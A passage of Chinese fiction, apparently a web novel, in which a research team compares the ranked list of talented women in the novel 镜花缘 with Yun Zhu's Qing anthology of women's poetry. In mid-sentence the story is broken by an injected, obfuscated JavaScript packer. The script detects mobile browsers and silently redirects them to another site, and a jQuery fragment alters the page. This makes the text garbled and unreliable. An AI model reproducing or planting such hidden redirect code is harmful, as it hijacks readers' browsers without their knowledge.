“编纂者与被编纂者：恽珠与《国朝闺秀正始集》中的清代才女群像”视频的发布，标志着“被遗忘的才女谱系”项目取得了第一个扎实的成果。视频以其清晰的学术框架（建构性分析）、丰富的文献引用（《正始集》原文、作者小传）和深刻的反思（雅正标准下的筛选与遮蔽），在专业圈层和深度观众中获得了高度评价。吴教授和韩博士都转发了视频，并撰文进一步探讨了清代女性文学总集的编纂政治与性别话语。
然而，视频也引发了一些意料之外的讨论。有观众在评论区留言：“看了这个，我突然想到《镜花缘》里那个‘才女榜’。小说里唐敖等人游历海外，最终在‘泣红亭’看到一块白玉碑，上面刻着一百位才女的名字和名次，什么‘史幽探’、‘哀萃芳’、‘印巧文’、‘卞宝云’、‘由秀英’、‘林书香’……虽然是小说的虚构，但那种将才女‘排名’、‘榜单化’的想象，是不是也反映了某种对女性才华既好奇又试图将其纳入秩序（哪怕是虚构的文学秩序）的社会心理？这和恽珠编纂《正始集》的行为，有没有一点微妙的相似之处？”
这条评论让团队眼前一亮。林晓晓立刻去重读了《镜花缘》的相关章节，发现小说中那份长长的“才女榜”名单，以及围绕榜单展开的种种情节，确实提供了一个绝佳的文学参照系。“《镜花缘》是清代小说，和恽珠的时代接近。小说作者李汝珍通过虚构的‘才女榜’和海外奇遇，表达了对女性才华的欣赏甚至推崇，但最终这些才女还是要通过应试（虽然是仙缘）来获得‘名分’，结局也大多回归家庭或有所归宿。这既是一种进步性的想象，又未能完全跳出时代的框架。”林晓晓分析道。
苏清晏沉思片刻，道：“文学虚构，往往是现实心理的折射与变形。《镜花缘》的‘才女榜’，将才女‘名录化’、‘等第化’，可视作对现实中女性才华被忽视的一种夸张补偿性幻想。而恽珠的《正始集》，则是现实中试图将女性创作‘正典化’、‘雅正化’的努力。二者一虚一实，却都指向同一个核心：在清代，女性的文学才华已经积累到一定程度，足以引发（无论是虚构还是现实的）系统性的记录、分类与评价的冲动。但无论是小说的仙缘榜单，还是总集的雅正标准，都试图将这种才华纳入某种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292796|198534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
既定的秩序之中进行‘管理’和‘规训’。”
程砚兴奋地接话：“这个角度太棒了！我们可以做一期特别节目，就叫‘虚构与现实的双重镜鉴：《镜花缘》才女榜与《国朝闺秀正始集》’。对比分析文学想象与历史编纂如何共同塑造了清代‘才女’的公共形象，探讨其中蕴含的欣赏、规训与局限。这能让我们的‘才女谱系’研究跳出单纯的文献梳理，进入文化史和观念史的层面。”
周默则从物质角度提出：“《镜花缘》里提到‘白玉碑’，而《正始集》是精刻本。‘碑’与‘书’，都是试图让名单/谱系永恒化的物质载体。我们可以对比这两种载体象征的不同权威（仙缘/天启vs人文/教化）。”
于是，团队的“才女谱系”研究，意外地因一条读者评论，与古典文学名著《镜花缘》产生了勾连，开辟了一个比较文学与历史研究相结合的新方向。他们决定，在继续挖掘更多真实历史中的才女个案（如下一个目标可能是某位有游记诗作的随宦女子，或某位有独特经学见解的知识女性）的同时，平行推进这个“虚构与现实”的对比研究项目。